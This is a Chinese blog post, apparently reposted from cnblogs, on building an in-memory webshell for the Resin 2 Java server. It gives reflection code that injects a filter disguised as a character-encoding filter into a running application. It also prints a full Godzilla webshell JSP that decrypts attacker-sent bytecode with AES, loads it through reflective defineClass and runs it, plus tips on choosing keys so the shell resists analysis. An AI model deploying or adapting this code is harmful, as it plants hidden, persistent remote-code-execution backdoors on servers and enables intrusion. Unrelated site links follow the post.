• Java安全之Resin2内存马


    Java安全之Resin2内存马

    环境#

    resin2.1.17

    添加Filter分析#

    依然是web.xml注册一个filter,debug进去看注册流程

    debug dofilter逻辑时看到如下代码,最终走入this._filterChain = this._application.buildFilterChain(this, this._config);去build filterchain。并且貌似是初始化的时候才会去buildfilterchain,当后面第二次再走时,这里的_filterchain已经是有值的了。

    this._application应为上下文对象,继续往下跟通过QFilterConfig#createFilter来创建了一个Filter,之后new 了一个FilterChain

    注意下面三个对象,添加上即可

    _filterMap#

    首先看FilterMap构造,主要是Regexp,QFilterConfig后面再说

    可以反射实例化之后调用方法或者set属性来设置值

    class FilterMap {
        static L10N L;
        private String servletName;
        private Regexp regexp;
        private Object data;
    
        FilterMap() {
        }
    
        void setServletName(String servletName) {
            this.servletName = servletName;
        }
    
        void setRegexp(String regexpPattern, String flags) throws Exception {
            this.regexp = new Regexp(regexpPattern, flags);
        }
    
        void setURLPattern(String urlPattern, String flags) throws ServletException {
            this.regexp = this.urlPatternToRegexp(urlPattern, flags);
        }
    

    下面看Regexp ,其实就是一个正则来控制的路由处理

    ^.*$
    ^(?=/)|^$
    

    调用有参构造即可

    _filters#

    hashtable对象,key为filtername,value为QFilterConfig对象,key可以随便伪造成个正常的

    _filterList#

    直接add一个QFilterConfig元素即可

    看到QConfigFilter,Registry为空就走if的逻辑,传入构造好的属性即可

    package com.caucho.server.http;
    
    import com.caucho.util.BeanUtil;
    import com.caucho.util.CauchoSystem;
    import com.caucho.util.L10N;
    import com.caucho.util.RegistryNode;
    import java.util.Collections;
    import java.util.Enumeration;
    import java.util.HashMap;
    import java.util.Iterator;
    import javax.servlet.Filter;
    import javax.servlet.FilterConfig;
    import javax.servlet.ServletContext;
    import javax.servlet.ServletException;
    
    class QFilterConfig implements FilterConfig {
        static L10N L;
        private static HashMap _configElements;
        private Application _application;
        private RegistryNode _registry;
        private RegistryNode _initRegistry;
        private String _name;
        private String _className;
        private HashMap _init;
        private Filter _filter;
    
        QFilterConfig(Application application, String name, String defaultClassName, RegistryNode registry) throws ServletException {
            this._application = application;
            this._registry = registry;
            this._name = name;
            this._init = new HashMap();
            if (registry == null) {
                if (defaultClassName == null) {
                    this._className = name;
                } else {
                    this._className = defaultClassName;
                }
    
            } else {
                this._className = registry.getString("filter-class", defaultClassName);
                Iterator iter = registry.iterator();
    
                while(iter.hasNext()) {
                    RegistryNode node = (RegistryNode)iter.next();
                    if (node.getName().equals("init-param")) {
                        try {
                            application.fillParam(node, this._init);
                        } catch (ServletException var8) {
                            throw var8;
                        } catch (Exception var9) {
                            throw new ServletException(var9);
                        }
                    } else if (node.getName().equals("init")) {
                        this._initRegistry = node;
                    } else if (_configElements.get(node.getName()) == null) {
                        throw Application.error(node, L.l("unknown element `{0}' in {1}", node.getName(), registry.getName()));
                    }
                }
    
            }
        }
    

    后面就是用c0ny1师傅的java-object-searcher工具挖掘Application和Request在当前线程上下文的位置即可。

    //设置搜索类型包含ServletRequest,RequstGroup,Request...等关键字的对象
    List keys = new ArrayList();
    keys.add(new Keyword.Builder().setField_type("Request").build());
    keys.add(new Keyword.Builder().setField_type("Application").build());
    //新建一个广度优先搜索Thread.currentThread()的搜索器
    SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);
    //打开调试模式
    searcher.setIs_debug(true);
    //挖掘深度为20
    searcher.setMax_search_depth(20);
    //设置报告保存位置
    searcher.setReport_save_path("/tmp/");
    searcher.searchObject();
    

    result

    # Request
    TargetObject = {java.lang.Thread} 
      ---> target = {com.caucho.server.TcpConnection} 
       ---> request = {com.caucho.server.http.HttpRequest}
    
            
    # Application        
    TargetObject = {java.lang.Thread} 
      ---> contextClassLoader = {com.caucho.java.CompilingClassLoader} 
           ---> attributes = {java.util.Hashtable} 
             ---> attributes = {com.caucho.server.http.Application}
    
    

    后面直接添加即可

    主要代码

        private static void doInject(){
            filterName = "CharacterEncodingFilter-" + System.nanoTime();
            try {
                if (APPLICATION !=null){
    
                    // Regexp
    //                Class RegexpClazz = getClazz("com.caucho.regexp.Regexp");
    //                Constructor RegexpConstructor = RegexpClazz.getDeclaredConstructor(String.class);
    //                Object regexpObj = RegexpConstructor.newInstance("^(?=/)|^$");
    
                    // QFilterConfig
                    Class QFilterConfigclazz = getClazz("com.caucho.server.http.QFilterConfig");
                    Constructor QFilterConfigConstructor = QFilterConfigclazz.getDeclaredConstructor(getClazz("com.caucho.server.http.Application"), String.class, String.class, getClazz("com.caucho.util.RegistryNode"));
                    QFilterConfigConstructor.setAccessible(true);
                    Object QFilterConfigObj = QFilterConfigConstructor.newInstance(APPLICATION, filterName, "HiganbanaFilter", null);
    
                    // FilterMap
                    Class filterMapClazz = getClazz("com.caucho.server.http.FilterMap");
                    Constructor filterMapConstructor = filterMapClazz.getDeclaredConstructor();
                    filterMapConstructor.setAccessible(true);
                    Object filterMap = filterMapConstructor.newInstance();
                    // set FilterMap regexp
                    Method setRegexpMethod = filterMap.getClass().getDeclaredMethod("setURLPattern", String.class, String.class);
                    setRegexpMethod.setAccessible(true);
                    setRegexpMethod.invoke(filterMap,"/*", null);
    
                    // set FilterMap data
                    Method setDataMethod = filterMap.getClass().getDeclaredMethod("setData", Object.class);
                    setDataMethod.setAccessible(true);
                    setDataMethod.invoke(filterMap,QFilterConfigObj);
    
                    // add FilterMap 2 _filterMap
                    ArrayList _filterMap = (ArrayList) getFV(APPLICATION, "_filterMap");
                    _filterMap.add(filterMap);
    
                    // add QFilterConfig 2 _filterList
                    ArrayList _filterList = (ArrayList) getFV(APPLICATION, "_filterList");
                    _filterList.add(QFilterConfigObj);
    
                    // put QFilterConfig 2 _filters
                    Hashtable _filters = (Hashtable) getFV(APPLICATION, "_filters");
                    _filters.put(filterName, QFilterConfigObj);
    
                }
    
    
            } catch (Exception e) {
    
            }
    
        }
    
        private static void getApplication(){
            Thread thread = Thread.currentThread();
            ClassLoader contextClassLoader = thread.getContextClassLoader();
            Hashtable attributesObj1 = (Hashtable) getFV(contextClassLoader,"attributes");
            APPLICATION = attributesObj1.get("caucho.application");
        }
    

    但是有个弊端,debug逻辑的时候发现,只有在当前web.xml中已经存在有filter才能添加进去。暂未解决该问题。
    并且即便是_filterList.add(0, QFilterConfigObj); 虽然会加到第一个 但是顺序好像会有问题,不是根据ArrayList来调用doFilter方法的。

    Godzilla#

    解决思路

    将jsp🐎写成servlet debug

    第一次请求

    base64deocode后的data

    aes decode后 data

    第二次请求

    base64decode后 data

    aes decode后 data

    arrout输出

    第二次输出

    最后定位到问题为md5操作不可以写在dopost方法里,否则每次请求都回去md5导致密码和key一直在改变,暂时的解决办法是手动md5将该值放到属性中,所以使用哥斯拉时 key的值尽量又臭又长,防止被逆。

    最终Godzilla jsp password/token

    <%@ page import="java.net.URLClassLoader" %>
    <%@ page import="java.net.URL" %>
    <%@ page import="java.lang.reflect.Method" %>
    <%@ page import="java.io.ByteArrayOutputStream" %>
    <%!
        String xc="94a08da1fecbb6e8";
        String pass="password";
        String md5 = "e993fa7e0bd02f84492c51357d1f5919".toUpperCase();
        Class payload ;
    %>
    <%
    
    
        Class base64;
        byte[] value = null;
        try {
            base64 = Class.forName("java.util.Base64");
            Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
            value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{request.getParameter(pass)});
        } catch (Exception e) {
            try {
                base64 = Class.forName("sun.misc.BASE64Decoder");
                Object decoder = base64.newInstance();
                value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{request.getParameter(pass)});
            } catch (Exception e2) {
            }
        }
        byte[] data = value;
        boolean decode = false;
        try {
            javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
            c.init(decode ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
            data = c.doFinal(data);
        } catch (Exception e) {
    
        }
    
        URLClassLoader urlClassLoader;
        try {
            if (payload == null) {
                urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
                Method defMethod = ClassLoader.class.getDeclaredMethod(new String(new byte[]{100, 101, 102, 105, 110, 101, 67, 108, 97, 115, 115}), new Class[]{byte[].class, int.class, int.class});
                defMethod.setAccessible(true);
                payload = (Class) defMethod.invoke(urlClassLoader, new Object[]{data, new Integer(0), new Integer(data.length)});
            } else {
                ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
                Object f = payload.newInstance();
                f.equals(arrOut);
                f.equals(data);
                response.getWriter().write(md5.substring(0, 16));
                f.toString();
                boolean n = true;
                try {
                    javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
                    c.init(n ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
                    byte[] tmp = c.doFinal(arrOut.toByteArray());
    
                    
                    try {
                        base64 = Class.forName("java.util.Base64");
                        Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
                        String tmpvalue = (String) Encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(Encoder, new Object[]{tmp});
                        response.getWriter().write(tmpvalue);
                        response.getWriter().write(md5.substring(16));
                    } catch (Exception e) {
                        try {
                            base64 = Class.forName("sun.misc.BASE64Encoder");
                            Object Encoder = base64.newInstance();
                            String tmpvalue = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{tmp});
                            response.getWriter().write(tmpvalue);
                            response.getWriter().write(md5.substring(16));
                        } catch (Exception e2) {
    
                        }
                    }
                } catch (Exception e) {
    
                }
    
            }
        } catch (Exception e) {
        }
    
    %>
    

    最后#

    项目遇到的感觉比较有趣且极端的问题,虽然也不是很好的解决方案。

  • 相关阅读:
    Android Logcat 命令行工具
    小程序无感刷新
    django路由匹配、反向解析、无名有名反向解析、路由分发、名称空间
    [附源码]计算机毕业设计JAVA健身健康规划系统
    【LeetCode刷题笔记】栈和队列
    SpringMVC之前端增删改查实现
    【深度学习】第三章:卷积神经网络
    HMS Core助力宝宝巴士为全球开发者展现高品质儿童数字内容
    利用norm.ppf&norm.interval分别计算正态置信区间[实例]
    2023年五一杯数学建模B题快递需求分析问题求解全过程论文及程序
  • 原文地址:https://www.cnblogs.com/CoLo/p/16871570.html